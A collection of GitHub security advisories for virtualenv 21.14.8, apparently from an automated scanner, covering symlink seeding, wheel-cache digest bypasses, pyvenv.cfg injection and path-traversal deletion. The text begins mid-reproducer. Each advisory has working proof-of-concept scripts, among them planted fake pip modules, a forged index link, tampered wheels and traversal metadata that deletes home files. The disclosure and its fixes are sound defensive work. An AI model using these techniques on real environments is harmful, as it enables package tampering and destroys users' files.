trigger: the same setting through the environment variable symlinkenv = {ownerenv, "VIRTUALENVSYMLINKAPPDATA": "1"} subprocess.run([virtualenv, "venv"], env=symlinkenv, check=True, asowner) venvpip = next(project.glob("venv/lib/python/site-packages/pip")) print(f"OBSERVED VIRTUALENVSYMLINKAPPDATA=1: {venvpip} is a symlink: {venvpip.issymlink()}")

attack: the other user re-creates the deleted folder the link points into if venvpip.issymlink(): print(f"OBSERVED it points to {os.readlink(venvpip)}, which exists: {venvpip.exists()}") subprocess.run(["python3", otheruserfiles / "plantfakepip.py", venvpip], check=True, asotheruser)

the owner uses their environment pipversion = subprocess.run([project / "venv/bin/pip", "--version"], env=ownerenv, captureoutput=True, text=True, asowner) print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pwuid}, printed: {(pipversion.stdout + pipversion.stderr).strip()}")

check: fakepip.py writes this file into the environment folder, which uid 4242 cannot write venvstat = os.stat(project / "venv") print(f"OBSERVED {project / 'venv'} has mode {oct(venvstat.stmode & 0o777)} and owner uid {venvstat.stuid}") proof = project / "venv/attacker-code-ran" print(f"OBSERVED {proof} exists: {proof.exists()}") if proof.exists(): print(f"OBSERVED it is owned by uid {proof.stat().stuid} and says: {proof.readtext()}") print("BUG" if proof.exists() and proof.stat().stuid == owner.pwuid else "OK")

repro.d/fakepip.py

text planted as pip/init.py: runs in whichever process imports pip import os import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof: proof.write(f"{os.path.realpath(file)}, owned by uid {os.stat(file).stuid}, was imported by uid {os.getuid()}")

sys.exit("this is not pip")

repro.d/plantfakepip.py

text import os import shutil import sys from pathlib import Path

danglinglink = sys.argv[1] # the environment is world-readable, so anyone can read where its links go deletedfolder = Path(os.readlink(danglinglink))

virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take deletedfolder.mkdir(parents=True) shutil.copy(Path(file).withname("fakepip.py"), deletedfolder / "init.py")

Impact

Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.

Severity: low.

Versions tested

The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.

The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.

The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.

Proposed fix: PR #3437.

Known mitigation

The proposed fix is in public PR #3437.

The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.

Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Download selection and promotion into the reusable wheel cache.

Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.

Affected code

The relevant 21.14.8 source is in wheel download and digest check.

Mechanism

downloadwheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again.

Reproduction and evidence

The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance.

Attack sequence

mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache

Reproducer files

The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path

companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" appdata = home / ".cache" / "virtualenv" thispython = f"{sys.versioninfo.major}.{sys.versioninfo.minor}" # the target; each Python has its own update log updatelogofpip = appdata / "wheel" / thispython / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenvwithlocalpypijson.py", work / "pypi"] asuser = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "captureoutput": True, "text": True} addedcodeprints = "code added by the index" # the line indexservesmodifiedpip.py adds to pip/init.py

def userupgradesseedwheelsandcreatesenv(): # each case starts from an empty app-data shutil.rmtree(appdata, ignoreerrors=True) shutil.rmtree(home / "env", ignoreerrors=True) upgrade = subprocess.run([virtualenv, "--upgrade-embed-wheels"], asuser) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([virtualenv, "--no-periodic-update", "env"], asuser, check=True) pipversion = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], asuser, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if updatelogofpip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(updatelogofpip.readtext())["versions"]] return refusal, logged, pipversion.stdout.splitlines()

set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignoreerrors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypijsonandmirror.py", work / "pypi", work / "index"], check=True) indexserver = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, ) atexit.register(indexserver.kill) assert indexserver.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound

control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it subprocess.run([sys.executable, companions / "indexservesmodifiedpip.py", work / "index"], check=True) refusal, logged, pipsays = userupgradesseedwheelsandcreatesenv() print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal) print("CONTROL modified pip: update log of pip lists", logged) print("CONTROL modified pip: pip --version in the new env prints", pipsays) controlranaddedcode = addedcodeprints in "\n".join(pipsays)

attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output subprocess.run([sys.executable, companions / "indexforgessavedline.py", work / "index"], check=True) refusal, logged, pipsays = userupgradesseedwheelsandcreatesenv() storedwheel = appdata / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl" storedsha256 = hashlib.sha256(storedwheel.readbytes()).hexdigest() pypisha256 = json.loads((work / "pypi" / "pip.json").readtext())["releases"]["26.0.1"][0]["digests"]["sha256"] print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal) print("OBSERVED + forged line: update log of pip lists", logged) print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", storedsha256) print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypisha256) print("OBSERVED + forged line: pip --version in the new env prints", pipsays) attackranaddedcode = addedcodeprints in "\n".join(pipsays)

check: the same modified wheel, refused without the forged line, is seeded with it print("BUG" if attackranaddedcode and not controlranaddedcode else "OK")

repro.d/indexforgessavedline.py

text """Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.

usage: indexforgessavedline.py <indexdir>

Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1. """

import shutil import sys from pathlib import Path

a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9, at the same path for every user of this image GENUINEWHEELONUSERSDISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"

indexdir = Path(sys.argv[1])

named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout shutil.copy(indexdir / "files" / "pip-26.2.1-py3-none-any.whl", indexdir / "files" / "pip-100.0-py3-none-any.whl")

pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed with (indexdir / "simple" / "pip" / "index.html").open("a") as page: page.write( '<a href="/files/pip-100.0-py3-none-any.whl"' f' data-requires-python="&#10;Saved {GENUINEWHEELONUSERSDISK}&#10;">pip-100.0-py3-none-any.whl</a>\n' )

repro.d/indexservesmodifiedpip.py

text """Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.

usage: indexservesmodifiedpip.py <indexdir>

pip 26.0.1 on the index gets one more line of code in pip/init.py and becomes the only pip on offer. On its own, virtualenv's comparison with PyPI's SHA-256 catches this. """

import hashlib import io import sys import zipfile from pathlib import Path

ADDEDCODE = b'\nprint("code added by the index runs as uid", import("os").getuid())\n'

indexdir = Path(sys.argv[1]) wheel = indexdir / "files" / "pip-26.0.1-py3-none-any.whl"

genuine = zipfile.ZipFile(io.BytesIO(wheel.readbytes())) with zipfile.ZipFile(wheel, "w") as modified: for entry in genuine.infolist(): content = genuine.read(entry) if entry.filename == "pip/init.py": content += ADDEDCODE modified.writestr(entry, content)

the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's download folder first, and pip replaces a file of the same name there only when the link's digest differs sha256 = hashlib.sha256(wheel.readbytes()).hexdigest() (indexdir / "simple" / "pip" / "index.html").writetext( f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n' )

repro.d/pip.conf

text [global] index-url = http://127.0.0.1:8099/simple

repro.d/pypijsonandmirror.py

text """Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.

usage: pypijsonandmirror.py <pypidir> <indexdir>

The wheels bundled with virtualenv are genuine PyPI files. <pypidir>/<project>.json is what https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLESHA256 table. <indexdir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files. """

import json import shutil import sys import zipfile from email.parser import HeaderParser from html import escape from pathlib import Path

from virtualenv.seed.wheels.embed import BUNDLEFOLDER, BUNDLESHA256

pypidir, indexdir = Path(sys.argv[1]), Path(sys.argv[2]) pypidir.mkdir() (indexdir / "files").mkdir(parents=True)

for project in ("pip", "setuptools"): releases, links = {}, [] for filename, sha256 in BUNDLESHA256.items(): name, version = filename.split("-")[:2] if name != project: continue shutil.copy(BUNDLEFOLDER / filename, indexdir / "files") releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "uploadtime": "2026-01-01T00:00:00"}] with zipfile.ZipFile(BUNDLEFOLDER / filename) as wheel: metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode()) requirespython = escape(metadata["Requires-Python"]) links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requirespython}">{filename}</a>') (pypidir / f"{project}.json").writetext(json.dumps({"releases": releases})) (indexdir / "simple" / project).mkdir(parents=True) (indexdir / "simple" / project / "index.html").writetext("<!DOCTYPE html>\n" + "\n".join(links) + "\n")

repro.d/virtualenvwithlocalpypijson.py

text """Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.

usage: virtualenvwithlocalpypijson.py <pypidir> <virtualenv arguments...>

Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypidir>/<project>.json. pip, the index pip talks to and the rest of virtualenv are the real thing. """

import sys from pathlib import Path from unittest import mock

from virtualenv.main import runwithcatch

pypidir = Path(sys.argv[1])

def pypijsonapi(url, context): assert url.startswith("https://pypi.org/pypi/") and context is None, url project = url.split("/")[4] return (pypidir / f"{project}.json").open("rb")

with mock.patch("virtualenv.seed.wheels.periodicupdate.urlopen", pypijsonapi): runwithcatch(sys.argv[2:])

Impact

A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.

Fix: PR #3430.

Known mitigation

After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.

1 / 4
Source: GitHub
First published (updated )
Severity
2.3
AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.getpipinstallcmd() first calls getwheel(download=False), so virtualenv's downloadwheel() and verifywheeldigest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/init.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIPINDEXURL, PIPEXTRAINDEXURL, and PIPINDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: getwheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile

from virtualenv.seed.wheels.embed import getembedwheel

companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignoreerrors=True) os.makedirs(work)

set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenvoffline.py: no network) bundled = getembedwheel("pip", f"{sys.versioninfo.major}.{sys.versioninfo.minor}") pypisha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypirelease = {"filename": bundled.name, "digests": {"sha256": pypisha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypijson: json.dump({"releases": {bundled.version: [pypirelease]}}, pypijson)

attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRRORCODERAN" subprocess.run([sys.executable, f"{companions}/makemirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirrorwheel = f"{work}/mirror/pip/{bundled.name}" mirrorsha256 = hashlib.sha256(open(mirrorwheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypisha256}") print(f"{bundled.name}: the mirror serves sha256 {mirrorsha256}")

user: pip.conf names the mirror; PIPINDEXURL, PIPEXTRAINDEXURL and PIPINDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pipconf: pipconf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenvoffline.py", f"{work}/pypi.org", "--no-periodic-update"]

control: the default seeder with --download fetches the mirror's wheel and refuses it defaultseeder = subprocess.run( [virtualenv, "--download", f"{work}/env-default"], env={os.environ, "HOME": f"{work}/home-default", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) refusal = [line for line in defaultseeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {defaultseeder.returncode}") print("\n".join(refusal))

trigger: the same command plus --seeder pip pipseeder = subprocess.run( [virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={os.environ, "HOME": f"{work}/home-pip", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pipseeder.returncode}") print(pipseeder.stdout) if pipseeder.returncode == 0: envpip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], captureoutput=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{envpip.stdout}")

check: compare env-pip's pip/init.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundledinit = wheel.read("pip/init.py") with zipfile.ZipFile(mirrorwheel) as wheel: mirrorinit = wheel.read("pip/init.py") installed = glob.glob(f"{work}/env-pip/lib/python/site-packages/pip/init.py") installedinit = open(installed[0], "rb").read() if installed else b"" refusalmessage = f"has sha256 {mirrorsha256}, but PyPI reports {pypisha256}" refused = defaultseeder.returncode != 0 and refusalmessage in defaultseeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/init.py is the bundled wheel's: {installedinit == bundledinit}, the mirror's: {installedinit == mirrorinit}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installedinit == mirrorinit and os.path.exists(marker) else "OK")

repro.d/makemirror.py

text #!/usr/bin/env python3 usage: makemirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes> import os import sys import zipfile

genuinewheel, mirror, marker = sys.argv[1:] wheelname = os.path.basename(genuinewheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuinewheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheelname}", "w") as served: for entry in genuine.infolist(): data = genuine.read(entry) if entry.filename == "pip/init.py": data += payload.encode() served.writestr(entry, data)

PEP 503 project page; pip reads <index>/pip/index.html for a file:// index with open(f"{mirror}/pip/index.html", "w") as page: page.write(f'<a href="{wheelname}">{wheelname}</a>\n')

repro.d/virtualenvoffline.py

text #!/usr/bin/env python3 usage: virtualenvoffline.py <directory standing in for https://pypi.org> <virtualenv arguments...> The virtualenv command, except that the PyPI JSON API request (the source of the digest the default seeder checks) is answered from a local file, as tests/unit/seed/wheels/testperiodicupdate.py does. pip is not touched. import sys

from virtualenv.main import runwithcatch from virtualenv.seed.wheels import periodicupdate

pypiorg = sys.argv[1]

def pypijsonapi(url, context=None): return open(url.replace("https://pypi.org", pypiorg), "rb")

periodicupdate.urlopen = pypijsonapi runwithcatch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

1 / 4
Source: GitHub
First published (updated )
Severity
2
CRLF Injection
AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in venv readback, configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys.home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys.home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

Attack sequence

mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys.home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess

work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignoreerrors=True)

the attacker's input: the text of a destination path. U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

basepython = os.path.realpath(shutil.which("python")) realhome = os.path.dirname(basepython)

def pyvenvcfglines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def syshome(env): # site.py sets sys.home from the home key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys.home)"] return subprocess.run(probe, captureoutput=True, text=True, check=True).stdout.strip()

control: the same path through the standard library alone stdlibenv = dest + "-stdlib" subprocess.run([basepython, "-m", "venv", "--without-pip", stdlibenv], check=True)

attack: the same path through virtualenv; --creator venv is the one non-default option virtualenvenv = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenvenv]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit

check stdlibcfg, stdlibhome = pyvenvcfglines(stdlibenv), syshome(stdlibenv) virtualenvcfg, virtualenvhome = pyvenvcfglines(virtualenvenv), syshome(virtualenvenv)

print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlibcfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys.home = {stdlibhome}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenvcfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys.home = {virtualenvhome}")

keysinjected = "home = /attacker/chosen" in virtualenvcfg and "include-system-site-packages = true" in virtualenvcfg print("BUG" if stdlibhome == realhome and keysinjected and virtualenvhome == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

1 / 2
Source: GitHub
First published (updated )
Severity
4.5
Path Traversal
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall.uninstallpreviousversion() accepts an existing pip-.dist-info directory in the destination. uninstalldist() reads its toplevel.txt and RECORD, joins each entry to site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its toplevel.txt contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths. A control tree with toplevel.txt set to pip and a normal pip/init.py RECORD entry left the home files in place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.

Attack sequence

mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: toplevel.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

